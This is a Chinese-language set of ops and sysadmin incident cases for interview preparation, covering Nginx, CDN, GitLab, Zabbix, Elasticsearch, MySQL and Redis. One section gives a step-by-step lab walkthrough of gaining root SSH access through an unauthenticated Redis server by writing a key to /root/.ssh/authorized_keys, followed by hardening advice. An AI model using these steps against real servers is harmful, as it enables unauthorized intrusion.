面試-故障案例解析

一、NFS故障，造成系統cpu使用率低而負載極高。

故障概述: 公司使用NFS為web節點提供共享存儲服務,某一天下午發現web節點CPU使用率低,而負載極高.登錄web節點服務器排查發現后段NFS服務器故障. ?? ?
影響范圍: 網站看不到圖片了。 ?? ?
處理流程: 通過ssh登錄NFS服務器重啟NFS服務 ?? ?
結果: 所有節點恢復正常。 ?? ??? ?https://www.jianshu.com/p/347afe9ba9ee

二、首頁訪問速度時快時慢。.hk的域名網站業務，站點測試正常但是出現用戶反映站點打開不穩定。

故障概述:某天收到用戶反應公司業務首頁訪問速度時快時慢,公司用的.hk的域名,站點測試正常但用戶反應站點打開不穩定.
影響范圍:中國大陸內地用戶
處理流程:經過排查發現因為hk域名無法在中國備案，所以在香港地區購買的SLB，但ECS在內陸地區，于是出現測試正常使用時卻出現站點時而不穩定的情況。通過跟云主機廠商的溝通后采取了拉一條從香港SLB到內陸ECS的專線以確保網絡的穩定。
結果:?用戶在訪問時流量到達香港主機后，香港主機通過專線將流量分發到內地ECS主機集群，然后內地ECS主機集群處理完用戶請求后，通過專線直接將數據發送給用戶，縮減用戶請求數據的延時。

三、將阿里云的域名遷移至萬國數據中心，重新備案后所有子域名https都失效。[忘記替換]

故障概述：將阿里云的域名遷移至萬國數據中心，重新備案后所有子域名https都失效了。
影響范圍:? 全部ECS實例
處理流程:
1.重新備案已完成，但網站所有二級域名https都失效，造成業務癱瘓。
2.首先認為是CA證書廠商問題，詢問無果。
3.通過排查發現失效的域名都是CDN域名
結果:
后來與CDN廠商進行溝通得知，由于域名重新備案后存在緩存，需要刷新CDN緩存，否則域名重新備案后無法快速的恢復到https的狀態。

四、網站部分圖片訪問成功，部分圖片訪問出現404？

故障概述:團隊伙伴反應網站上的圖片，有的可以顯示有的不可以顯示報404
影響范圍:網站某些圖片
處理流程:
1.分析404一般是沒有文件才出現的，于是直接上nginx服務器上查看，檢查路徑下是否有相應的文件，文件是存在的。
2.檢查nginx錯誤日志，找不到這個錯誤記錄。
3.測試訪問其他圖片，發現出錯的圖片都是以pc開頭的，其他大部分正常。
4.檢查nignx反向代理節點配置，發現其中一個location匹配的規則如下：
location ~ /(pc|hera_insure) {
proxy_pass http://10.137.146.93:80;
proxy_set_header Host $host:$server_port;
proxy_set_header Remote_Addr $remote_addr;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_intercept_errors on;
}
5.修改配置匹配規則為： location ~ ^/(pc|hera_insure) ...
結果:
在nginx中有這么一個規則，location后面~的優先級高于什么都不寫的模式（局部匹配），即location ~ /(pc|hera_insure) 這個匹配規則優先級高于 location /uploadfiles這個規則。我們期望URL中以/uploadfiles起始的請求都進入到 location /uploadfiles規則，以/pc開頭或者/hera_insure開頭的url請求都進入到location ~ /(pc|hera_insure)規則。
https://www.cnblogs.com/shihuc/p/6374551.html

五、網站經過多級CDN轉發，請求至源站，但源站無法通過X-Forward-for獲取客戶端真實IP地址。[realip模塊]

故障概述:網站經過多級CDN轉發，請求至源站，但源站無法通過X-Forward-for獲取客戶端真實IP地址。
影響范圍:用戶訪問網站無法獲取客戶端真實IP。
處理流程:一般我們會在Nginx之前的代理服務器中把請求的原始來源地址編碼進某個特殊的HTTP請求頭中，然后再在Nginx中把這個請求頭中編碼的地址恢復出來。這樣Nginx中的后續處理階段(包括Nginx背后的各種后端應用)就會認為這些請求直接來自那些原始的地址，代理服務器就仿佛不存在一樣。ngx_realip模塊正是用來處理這個需求的。
結果:配置好之后realip模塊會將用戶的真實IP獲取到，解決了無法獲取客戶端真實IP的問題。

六、Nginx錯誤日志出現大量499。

故障概述: 某天檢查Nginx服務器時發現錯誤日志里大量出現499錯誤。
影響范圍: Nginx服務器的應用程序無法連接數據庫。
處理流程: 從前往后排查，發現JAVA中有無法連接數據庫錯誤提示，檢查mysql配置，發現max_connctions參數只有200，最后調整該參數。
結果: 調整了之后發現錯誤日志沒有出現499的情況，恢復正常。

七、Nginx配置https出現ERR_SSL_PROTOCOL_ERROR？

故障概述: 公司部署了SSL證書服務，但訪問網站時出現ERR_SSL_PROTOCOL_ERROR報錯。
影響范圍: 出現這個問題，核心原因是配置沒有開啟SSL模塊。
處理流程: 登錄Nginx服務器修改配置文件，將listen 443;改為listen 443 ssl;，然后重啟Nginx服務。
結果: 配置好后重啟服務恢復正常。

八、Nginx配置前端四層負載，代理至后端七層，由七層代理后端app程序，無法獲取真實客戶端IP。

故障概述: 由于公司架構原因，用戶訪問前端的四層負載均衡，四層負載將請求代理到七層負載均衡，由七層負載均衡代理到后端的app程序，導致后端app程序無法獲取客戶端的真實IP地址。
影響范圍: 后端app程序無法獲取客戶端的真實地址。
故障分析：

多層代理環境中，若未配置 IP 透傳，后端 APP 會將直接上游（七層負載）的 IP 當作客戶端 IP，而非真實用戶 IP。具體原因：

四層負載（Nginx Stream 模塊）?默認僅轉發 TCP 連接，不處理 HTTP 頭，無法傳遞客戶端 IP；
七層負載（Nginx HTTP 模塊）?若未配置X-Forwarded-For或代理協議，會用自身 IP 覆蓋客戶端 IP；
后端 APP?未正確解析代理傳遞的 IP 頭（如X-Forwarded-For、Proxy-Proto）。

處理流程：

1. 前端四層負載（Nginx Stream 模塊）配置：啟用代理協議

四層負載需通過Proxy Protocol（代理協議）將客戶端真實 IP 傳遞給七層負載（僅支持 TCP 層傳遞）。
修改四層 Nginx 配置（nginx.conf）：

stream {upstream seven_layer {server 192.168.1.100:80;  # 七層負載的IP和端口}server {listen 80;  # 前端暴露的端口proxy_pass seven_layer;# 關鍵：啟用Proxy Protocol v2，向七層負載傳遞客戶端IPproxy_protocol on;  }
}

說明：proxy_protocol on會在 TCP 連接建立時，向前端發送包含客戶端 IP 和端口的協議頭（格式：PROXY TCP4 客戶端IP 四層負載IP 客戶端端口四層端口\r\n）。

2. 七層負載（Nginx HTTP 模塊）配置：解析代理協議并傳遞 HTTP 頭

七層負載需要：
① 解析四層傳遞的 Proxy Protocol 獲取真實 IP；
② 通過 HTTP 頭（X-Forwarded-For等）向后端 APP 傳遞真實 IP。

修改七層 Nginx 配置：

http {# ① 配置監聽端口時，啟用Proxy Protocol解析（需與四層對應）server {listen 80 proxy_protocol;  # 必須加proxy_protocol，否則無法解析四層傳遞的IPserver_name example.com;# ② 提取客戶端真實IP（從Proxy Protocol中）set_real_ip_from 192.168.1.200;  # 允許信任的上游IP（即四層負載的IP）real_ip_header proxy_protocol;   # 從proxy_protocol頭中獲取真實IP# ③ 向后端APP傳遞真實IP（通過HTTP頭）location / {proxy_pass http://backend_app;  # 后端APP的地址# 傳遞真實IP、協議、端口proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;  # 真實客戶端IP（來自四層）proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;  # 代理鏈IPproxy_set_header X-Forwarded-Proto $scheme;  # 客戶端使用的協議（http/https）}}
}

關鍵：real_ip_header proxy_protocol用于從四層傳遞的協議頭中提取真實 IP；proxy_set_header確保后端能通過 HTTP 頭獲取該 IP。

3. 后端 APP 配置：解析 HTTP 頭獲取真實 IP

后端 APP 需從七層負載傳遞的 HTTP 頭中讀取真實 IP，而非直接獲取上游（七層負載）的 IP。不同語言示例：

Nginx 作為后端（如靜態資源服務器）：
若后端也是 Nginx，需配置信任七層負載的 IP，直接獲取真實 IP：

server {listen 8080;# 信任七層負載的IP，從X-Real-IP中獲取真實IPset_real_ip_from 192.168.1.100;  # 七層負載的IPreal_ip_header X-Real-IP;
}

驗證測試：

檢查代理協議是否生效：
在七層負載服務器上執行tcpdump port 80，查看是否有PROXY TCP4開頭的協議頭（來自四層負載）。
驗證 HTTP 頭傳遞：
在后端 APP 日志中輸出X-Real-IP和X-Forwarded-For，確認是否為客戶端真實 IP（而非代理服務器 IP）。
模擬客戶端請求：
用curl -v http://前端四層IP發起請求，檢查后端記錄的 IP 是否與客戶端公網 IP 一致。

九、Nginx出現大量的closed keepalive connection，而其他節點主機沒有出現。

故障概述：某天發現某臺 Nginx 服務器日志中大量出現?closed keepalive connection?信息，其他節點日志無此內容，但業務無明顯異常。
影響范圍：僅日志記錄形式不一致，業務服務未受影響（若連接關閉異常頻繁，才會影響性能）。
處理流程：檢查 Nginx 配置文件，發現該節點?error_log?級別為?info，其他節點為?error（或統一的更高級別）。
結果：將該節點日志級別調整為與其他節點一致（如?error）后，日志中不再大量顯示?closed keepalive connection，日志格式統一。

十、Nginx IP_hash進行會話保持，但通過內網訪問發現無論哪臺主機，調度的都是同一臺后端節點？

故障概述: 我們測試發現使用內網訪問Nginx負載，負載開啟了IP_hash進行會話保持，導致無論哪臺主機訪問都是調度到同一后端節點。
影響范圍: 造成后端某一節點壓力過高，但其他節點幾乎沒有壓力。
處理流程: 1.關閉負載的IP_hash 2.搭建一個redis，將會話使用redis進行保持
優化上面的處理流程：先排查源 IP 問題，再決定是否更換會話保持方案。

分析：ip_hash?的核心邏輯是：同一個客戶端 IP 的請求，會被固定調度到同一臺后端節點。

ip_hash?的優勢是無狀態（無需額外存儲，依賴 IP 直接路由），而 Redis 存會話是有狀態方案（需維護會話存儲，增加復雜度）。若只是內網 IP 導致調度集中，更簡單的方案是：
- 檢查內網請求的 “源 IP” 是否統一（如 NAT 網關導致），若有，可調整網絡架構（如讓 Nginx 獲取真實客戶端 IP）；
- 若必須用會話保持，且?ip_hash?不滿足，再考慮 Redis 方案。直接 “關閉 ip_hash 換 Redis” 屬于過度設計。

優化后的處理流程：

先排查 IP_hash 調度集中的原因
- 檢查內網客戶端請求的 “源 IP”：通過 Nginx 日志（如?$remote_addr）確認，是否所有請求的源 IP 都相同（如 NAT 網關 IP）。
- 檢查 Nginx 配置：確保?upstream?中配置了多臺后端節點，且?ip_hash?指令生效（無語法錯誤）。
針對性解決
- 若源 IP 統一（如 NAT 導致）：
  - 讓 Nginx 獲取真實客戶端 IP（如通過?X-Forwarded-For?頭，需前端代理傳遞）；
  - 或改用其他負載均衡算法（如?least_conn?最小連接數），但會失去會話保持能力。
- 若確實需要會話保持且?ip_hash?不滿足：
  - 再考慮 Redis 會話保持（需后端應用支持從 Redis 讀取會話）；
  - 或使用?sticky cookie（Nginx 可配置基于 Cookie 的會話保持）。

結果: 使用redis進行會話保持后，負載將請求均勻的調度到后端節點。

十一、將原本物理環境的LNMP架構遷移至阿里云，與物理機相同配置，但就是iowait特別高。

故障概述: 將原本物理環境的LNMP架構遷移至阿里云，與物理機相同配置，但就是iowait特別高。 影響范圍: 所有上云的機器運行緩慢。
處理流程: 經過測試發現，阿里云的高效云盤就是一推普通的SATA組成的，100MB/s，但是：物理機使用的是SAS盤，測試發現能夠達到 400MB/s，使用的測試命令是 hdparam。
結果: 將阿里云的高效云盤，替換阿里云的SSD云盤、測試發現能夠達到 400MB/s，至此iowait降了下來。

十二、zabbix出現Out Of Memory，將原本2G內存加到8G還是Out Of Memory。

故障概述: 公司zabbix服務在添加了一個模版后故障了，我們緊急重啟服務時發現重啟不了，通過檢查zabbix日志發現zabbix報出了Out Of Memory的錯誤。
影響范圍: zabbix無法啟動，監控服務無法正常使用。
處理流程: 首先我們進行了重啟服務，發現重啟不了，然后通過查看日志，分析后發現出現了Out Of Memory的錯誤。我們又將服務器內存由原來的2G加到8G后重啟服務，發現還是OOM的錯誤。然后通過排查zabbix配置文件發現zabbix的緩存參數 CacheSize=8M，CacheSize用于存儲主機、項和觸發器數據的共享內存大小，顯然8M不夠，我們將此參數調整為 CacheSize=2G 然后重啟服務。
結果: 服務可以正常啟動，并且添加模板之后，一切正常，指標也能顯示。
建議: 在使用一些較大模板（包含很多自動發現規則）時，建議調高zabbix-server的cachesize緩存。

聊天記錄：http://cdn.xuliangwei.com/15819390614174.jpg

十三、gitlab遷移故障：將獨立的git服務器遷移至負載均衡后面，有負載均衡調度，發現無法通過ssh協議提交代碼，而http協議則可以？

故障概述: 公司要求將獨立的公網git服務器遷移至負載均衡后面，通過負載均衡進行調度訪問。遷移后發現無法通過ssh協議提交代碼，而http協議可以正常提交代碼。
影響范圍: 開發無法通過ssh協議提交代碼。
處理流程: 由于ssh協議訪問的是22端口，我們將git服務器遷移到負載均衡后方時通過ssh協議訪問的是負載均衡的22端口，但通過排查負載均衡配置后發現負載均衡并沒有將外網22端口配置轉發到后端git服務器22端口上。我們將配置文件更改后將負載的外網22端口轉發到git服務器的22端口。
結果: 通過測試發現通過ssh協議也可以提交代碼了。

十四、gitlab遷移sIb

故障概述：
1.早起gitlab版本較低,且單點云服務器直接對外提供服務,后來架構改變,需要將gitlab遷移至反向代理( ECS自建)后端服務器并順帶進行版本升級。
2.gitlab遷移后,通過反向代理可正常訪問gitlab網頁并且登陸正常,進行ssh拉取代碼測試發現無法連通, http拉取方式正常
影響范圍： 開發部門無法正常提交代碼
處理流程：
1.查看nginx反向代理，發現只做了七層代理沒有做四層代理
2.通過修改nginx配置文件將22端口進行轉發后端gitlab服務器故障解決。
3.gitlab通過pull clone代碼成功后,進行修改發現無法push到gitlab服務器,原因在gitlab用戶添加ssh秘鑰時主機名和測試主機名不一致,客戶端重新生成密鑰對,將之添加故障解決。
結果：gitlab可以正常訪問，ssh、http拉取均恢復正常，push 也恢復正常

十六、Harbor鏡像倉庫上傳鏡像時報錯。

故障概述：Harbor倉庫搭建好了，按照提示上傳鏡像時報錯。
影響范圍：無法上傳鏡像。
處理流程：1.通過查詢工具說明查詢問題。 2.在Harbor上創建用戶，讓開發登錄賬號，通過驗證，dockerlogin。 3.重新推送鏡像測試。
結果：可以正常上傳鏡像，不論上傳還是下載鏡像都是需要用戶驗證，沒有做驗證自然無法上傳，下載鏡像。?

十七、jenkins編譯項目git拉取倉庫無權限

故障概述：IOS開發人員使用jenkins在蘋果服務器上編譯APP，調用git拉取倉庫代碼提示無權限，開發人員在測試環境3天調整未果，即將發版，耽誤發版，直接罰錢！！！
影響范圍：耽誤iOS版本的發布
處理流程：1.找到權限限制問題，配置權限，編譯IOS項目通過。 2.手動在蘋果服務器上拉取倉庫，提示無權限手動配置蘋果服務器公鑰加入git倉庫用戶下，拉取倉庫，提示“登錄倉庫的用戶為xxx，.......Phabricator......”通過查詢工具說明，確認Phabricator，此程序負責倉庫權限管理 3.聯系管理員檢查xxx用戶是否有IOS項目權限，發現沒有，為xxx用戶增加項目權限。
結果：增加項目權限后，拉取倉庫代碼成功，編譯通過。原因分析因為IOS項目人員交接，未進行此部分信息更新，導致新的開發人員沒有權限拉取倉庫代碼。

十八、首頁訪問速度時快時慢

故障概述：公司首頁訪問速度問題，在app,IOS,瀏覽器上都有出現過，而且不定期出現。
影響范圍：大量用戶反映訪問速度慢，導致用戶體驗度下降
處理流程： 1.按照用戶瀏覽網站順序，進行逐一排除。 2.檢查全國DNS服務器內公司域名的解析IP是否正常，發現部分地區的DNS解析IP異常，檢查異常IP是否能正常訪問網站，輸入瀏覽器訪問，發現訪問失敗，聯系負責域名管理的同事，確認F5上配置了域名解析，遺留的IP未刪除，造成此問題，刪除即可。
結果：刪除遺留IP之后，公司首頁訪問速度明顯提升
原因分析：人員交接時，未及時移除不用的IP造成解析有時正確有時錯誤，導致用戶訪問速度問題。

十九、ssh連接kvm失敗

故障概述：KVM 虛擬機運行一段時間后，SSH 無法登錄。
影響范圍：無法通過 SSH 遠程管理 KVM 虛擬機，可能導致運維操作受阻。
處理流程：
1. 排查資源使用（如?top?命令查看內存、CPU 消耗），發現內存接近耗盡；
2. 分析系統日志（/var/log/messages、/var/log/secure?等），發現每天凌晨 root 用戶有大量 SSH 登錄記錄且連接未正常釋放，導致內存被持續占用；
3. 臨時操作：殺死異常的 SSH 進程（如?pkill -9 sshd?后重啟?sshd?服務），或直接重啟虛擬機恢復；
4. 根本原因排查：檢查是否有定時任務、腳本或外部程序在凌晨觸發大量 SSH 登錄，導致連接泄漏。
結果：通過重啟臨時恢復 SSH 連接，后續需進一步排查 “大量登錄未釋放” 的根源。

二十、Centos7無法訪問特定IP的端口服務

故障概述:
1. 此次問題服務器之間網絡訪問都為內網訪問。
2. 從庫vip 10.8.1.252，主庫vip 10.8.1.253，10.8.1.7可以訪問主庫，無法訪問從庫。
3. 從庫連接使用的A記錄，ping可以通，telent a記錄或者vip都不通，直接被拒絕。被拒絕的速度非常快，看上去都沒有嘗試超時時間。
影響范圍: 公司的有些業務無法正常維護。
處理流程:
1. 通過telnet和ping的檢測，防火墻和selinux都為關閉狀態，查看是否存在deny.host也沒有。? ? ? ? 2. 可以排除是數據庫權限的問題，主庫從庫用戶都一樣
3. 排除其他可能后查看網卡配置文件
4. 有PEERDNS="no"這么個參數，它的作用是讓 /etc/resolv.conf 在系統重啟后不會被重寫，C6之后基本都通過網卡配置文件來修改dns指向，這個配置應該是老運維添加的，先將其注釋。??
結果:注釋后重啟network服務，訪問正常。還有一種可能是開啟了NetworkManager服務

二十一、服務器假死

故障概述：測試環境下某臺節點服務器出現了能ping通，但是ssh登錄不上，任何其他操作也都沒有反應，包括上面部署的nginx也打不開。
影響范圍：運維人員通過ssh遠程登錄方式連接不上服務器。
處理流程：通過連接顯示器直接登錄服務器，使用nice將sshd的進程優先級調高，這樣系統內存吃緊，還是能勉強登錄sshd進行調試的。??（假設因內存不足導致假死）

正確的思路應是先定位內存瓶頸，再針對性釋放內存資源，最后恢復?sshd?服務。

定位內存問題
通過顯示器登錄后，執行：
- free -h：查看物理內存和 Swap 剩余；
- top：按?M?排序，查看占用內存最高的進程；
- dmesg | grep -i oom：檢查是否觸發 OOM（內存溢出）殺手。
緩解內存壓力
- 若存在內存泄漏進程：直接終止占用內存最高的異常進程（kill -9 <PID>）；
- 若物理內存不足但 Swap 可用：臨時增加 Swap（fallocate -l 2G /swapfile; mkswap /swapfile; swapon /swapfile）；
- 若內核內存不足（如?slab?緩存過高）：嘗試清理緩存（echo 3 > /proc/sys/vm/drop_caches，注意生產環境謹慎使用）。
恢復?sshd?服務
內存壓力緩解后，重啟?sshd?服務（systemctl restart sshd），或檢查?sshd?日志（/var/log/secure）確認是否因資源不足啟動失敗。

結果：再通過ssh登錄可以成功登錄調試。

二十二、 crond誤刪除

故障概述：某天通過遠程連接方式登錄一臺服務器執行了crontab命令，然后按了Ctrl+D，再查看時發現所有的crontab任務都沒有了。
影響范圍：定時任務無法正常執行。
處理流程：crontab有運行日志，在日志里面可以找到執行過的歷史命令，前提是要有root權限。通過一段命令篩選出命令執行的日志，然后根據執行時間以及執行的命令進行恢復。

1. 確認故障現象與范圍

操作：執行?crontab -l?查看當前用戶定時任務，確認是否為空或任務缺失；
驗證：檢查?/var/spool/cron/[用戶名]?文件（系統存儲?crontab?任務的實際文件），確認文件內容是否丟失。

2. 排查任務丟失的原因

檢查操作記錄：
- 執行?history | grep -E 'crontab|cron'，查看是否有?crontab -r（刪除任務）、crontab 空文件（覆蓋任務）等危險操作；
- 詢問相關人員是否誤操作（如編輯時意外刪除內容并保存）。
排除系統異常：
- 檢查?/var/log/cron?日志，確認是否有?cron?服務異常或文件系統錯誤（如磁盤滿導致文件損壞）；
- 驗證?/var/spool/cron/?目錄權限（正常應為?root:root，權限?0700），排除權限錯誤導致的文件丟失。

3. 嘗試恢復任務

優先使用備份：
- 若存在?crontab?備份（如通過?crontab -l > cron_backup_202408?定期備份），執行?crontab cron_backup_202408?直接恢復；
- 若使用版本控制工具（如 Git）管理任務腳本，從倉庫中提取歷史任務配置。
通過業務痕跡重建：
- 若無備份，查看?/var/log/cron?日志（記錄任務執行歷史），提取曾執行的腳本路徑和大致執行時間（如?2024-08-30 03:00:01 run-parts(/etc/cron.daily)[1234]: starting logrotate）；
- 根據業務需求（如定時備份、日志清理、數據同步等），聯系相關人員確認任務細節（執行時間、腳本路徑、參數等），重新編寫任務。
系統級任務檢查：
- 若丟失的是系統級任務（如?/etc/cron.d/、/etc/cron.hourly/?下的腳本），檢查是否誤刪除腳本文件，可從同版本系統拷貝或重新創建。

4. 驗證與固化

恢復后驗證：執行?crontab -l?確認任務已恢復，等待任務觸發時間（或手動執行腳本），檢查?/var/log/cron?確認任務正常運行。
預防措施：
- 配置定時備份：添加任務?0 0 * * * crontab -l > /backup/cron_$(date +\%Y\%m\%d).bak，定期備份?crontab?配置；
- 限制操作權限：非必要不使用?root?用戶配置?crontab，避免誤操作影響全局任務；
- 記錄任務文檔：將任務用途、時間規則、腳本路徑等信息存檔，便于后續維護

結果：crontab恢復完成，定時任務恢復正常。

二十三、通過rm命令刪除文件，但空間沒有釋放

故障概述： 某天接到一個求助，用rm命令刪除了一個文件，但是通過df -h查看文件所在的空間并沒有釋放出來。
影響范圍：刪除文件后依然占用存儲空間。
處理流程：首先判斷有進程占用此文件，導致rm刪掉的只是一個名字，進程還在持續向文件里讀取寫入數據，所以導致空間不能釋放掉。
結果：重啟相關程序后進程重新啟動，占用的空間馬上就釋放掉了。

二十四、ES出現CPU爆滿

1. 索引和搜索負載過高

原因：大量復雜的搜索請求、頻繁的索引更新操作等，會導致 ES 集群的 CPU 使用率飆升。例如，模糊查詢范圍過大、缺少必要的索引，使得查詢時需要進行大量的文檔掃描；或者業務高峰期，短時間內有海量數據寫入。
解決方法：

優化查詢語句：盡量使用精確查詢代替模糊查詢，減少不必要的通配符查詢；合理使用過濾器（Filter），因為過濾器會利用緩存，提高查詢效率。比如，在使用match查詢時，優先考慮使用term查詢（精確匹配），對于范圍查詢，可以使用range過濾器。
創建合適的索引：分析業務查詢場景，針對經常用于查詢的字段創建索引。可以使用PUT請求創建索引，例如：

PUT /your_index_name
{"mappings": {"properties": {"field_name": {"type": "keyword"  // 根據字段類型選擇合適的類型，如text、keyword等}}}
}

限流和削峰填谷：通過設置 ES 的請求隊列、限流插件等方式，限制并發請求數量。還可以采用消息隊列，將寫入 ES 的數據先緩存起來，再以合適的速度寫入 ES，避免瞬間寫入壓力過大。

2. 垃圾回收（GC）頻繁

原因：ES 基于 Java 開發，當堆內存使用不合理，導致頻繁的 Full GC 時，會占用大量 CPU 資源。比如堆內存設置過小，無法滿足業務數據存儲需求；或者存在大對象的頻繁創建和銷毀。
解決方法：

調整堆內存大小：合理設置 ES 的堆內存，一般建議不超過物理內存的 50%，且不超過 32GB（因為超過 32GB 后，Java 的指針壓縮技術失效，會導致內存占用增加）。可以通過修改elasticsearch.yml文件中的bootstrap.memory_lock: true（鎖定內存，防止內存交換），并在啟動腳本中設置堆內存大小，如-Xms（初始堆大小）和-Xmx（最大堆大小）參數。
優化對象生命周期：檢查業務代碼，避免頻繁創建大對象。對于不再使用的對象，及時釋放引用，讓垃圾回收器能夠正常回收內存。

3. 集群狀態異常

原因：ES 集群中存在節點失聯、分片分配不均衡等問題，會導致集群不斷嘗試恢復和調整狀態，從而消耗大量 CPU。比如網絡故障導致節點間通信中斷，或者集群擴容后，分片沒有合理分配。
解決方法：

檢查網絡連接：確保集群中各節點之間的網絡穩定，沒有丟包、延遲過高的情況。可以使用ping、traceroute等命令進行網絡檢測，排查網絡設備（如路由器、交換機）的配置和狀態。
重新分配分片：通過 ES 的 API 查看分片分配情況，如GET /_cat/shards?v。如果發現分片分配不均衡，可以使用POST /_cluster/reroute接口手動重新分配分片，或者調整cluster.routing.allocation.*相關的配置參數，讓集群自動進行更合理的分片分配。

4. 插件或腳本問題

原因：某些插件可能存在性能問題，或者自定義腳本在執行過程中占用大量 CPU。比如插件中存在死循環、復雜的計算邏輯等。
解決方法：

停用可疑插件：逐一停用已安裝的插件，觀察 CPU 使用率的變化，找出導致 CPU 升高的插件。可以使用bin/elasticsearch-plugin remove plugin_name命令移除插件。
優化腳本：如果使用了自定義腳本（如 Painless 腳本），檢查腳本的邏輯，簡化復雜的計算過程，避免不必要的循環和遞歸。

5. 硬件資源不足

原因：服務器的 CPU 核心數、內存等硬件資源無法滿足 ES 的業務需求，導致 CPU 長期處于高負載狀態。
解決方法：

升級硬件：根據 ES 的業務負載情況，增加服務器的 CPU 核心數、內存容量等硬件資源。在升級前，需要評估業務增長趨勢，合理規劃硬件配置。
考慮分布式部署：如果單機無法滿足需求，可以將 ES 集群擴展為分布式集群，通過增加節點來分攤負載。

二十五、利用Redis遠程入侵Linux

前提條件：1.redis以root用戶運行 2.redis允許遠程登陸 3.redis沒有設置密碼或者密碼簡單

入侵原理：
1.本質是利用了redis的熱更新配置，可以動態的設置數據持久化的路徑和持久化文件名稱
2.首先攻擊者可以遠程登陸redis，然后將攻擊者的ssh公鑰當作一個key存入redis里
3.利用動態修改配置，將持久化目錄保存成/root/.ssh
4.利用動態修改配置,將持久化文件名更改為authorized_keys
5.執行數據保存命令，這樣就會在生成/root/,ssh/authorized_keys文件
6.而這個文件里包含了攻擊者的密鑰，所以此時攻擊者可以免密登陸遠程的服務器了

實驗步驟：

1.生成密鑰

[root@db02 ~/.ssh]# ssh-keygen

2.將密鑰保存成文件

[root@db02 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key

3.將密鑰寫入redis

[root@db02 ~]# cat ssh_key |redis-cli -h 10.0.0.51 -x set ssh_key OK

4.登陸redis動態修改配置并保存

[root@db02 ~]# redis-cli -h 10.0.0.51 10.0.0.51:6379> CONFIG set dir /root/.ssh OK 10.0.0.51:6379> CONFIG set dbfilename authorized_keys OK 10.0.0.51:6379> BGSAVE Background saving started

5.被攻擊的機器查看是否生成文件

[root@db01 ~]# cat .ssh/authorized_keys

6.入侵者查看是否可以登陸

[root@db02 ~]# ssh 10.0.0.51 Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52 [root@db01 ~]# 此時可以發現，已經可以免密登陸了。

7.如何防范

1.以普通用戶啟動redis,這樣就沒有辦法在/root/目錄下創建數據
2.設置復雜的密碼
3.不要監聽所有端口，只監聽內網地址
4.禁用動態修改配置的命令和危險命令
5.做好監控和數據備份

二十六、企業故障恢復案例

背景環境：正在運行的網站系統，mysql-5.7.20 數據庫，數據量50G，日業務增量1-5M。
備份策略：每天23:00點，計劃任務調用mysqldump執行全備腳本
故障時間點：年底故障演練:模擬周三上午10點誤刪除數據庫，并進行恢復.
思路：
1、停業務，避免數據的二次傷害
2、找一個臨時庫，恢復周三23：00全備
3、截取周二23：00 --- 周三10點誤刪除之間的binlog，恢復到臨時庫
4、測試可用性和完整性
5、方法一：直接使用臨時庫頂替原生產庫，前端應用割接到新庫? ?方法二：將誤刪除的表導出，導入到原生產庫
6、開啟業務
處理結果：經過20分鐘的處理，最終業務恢復正常

二十七、Redis生產故障處理

問題描述：公司活動優惠券過期仍可使用
排查過程：
1.Redis查看優惠券對應的key發現TTL值發生變化。
2.聯系開發查看是否對優惠券對應的key進行重新賦值，覆蓋掉了原來的值。
3.經開發確認確實由于后期對key進行了覆蓋，導致原來的TTL無效。
解決方案：
1.要求開發將關鍵值進行提交。
2.添加自定義監控項，一旦發現提交的key的TTL值發生了異常就報警。

二十八、Redis集群內存故障處理

故障描述：redis-cluster某個分片內存飆升，明顯比其他分片高，而且還在增長，并且主從內存使用不一致
排查過程：
1.排查時主從復制無故障，較大的鍵值也不存在。
2.查看redis的info信息，發現client_longest_output_list數據異常。
3.分析原因應該是輸出緩沖區占用內存較大，即有大量的數據從Redis服務器向某些客戶端輸出。
4.使用client list命令redis-cli -h host -p port client list | grep -v "omem=0"，來查詢輸出緩沖區不為0的客戶端連接，查詢到monitor。
處理辦法：
1.進行主從切換，繼續觀察新的master是否有異常，通過觀察未出現異常
2.查找到真正的原因是monitor，關閉掉monitor的后，內存很快就降下來了
3.將monitor命令進行重命名，避免再次錯誤操作啟動monitor進程
4.增加監控項，一旦發現monitor異常運行及時關閉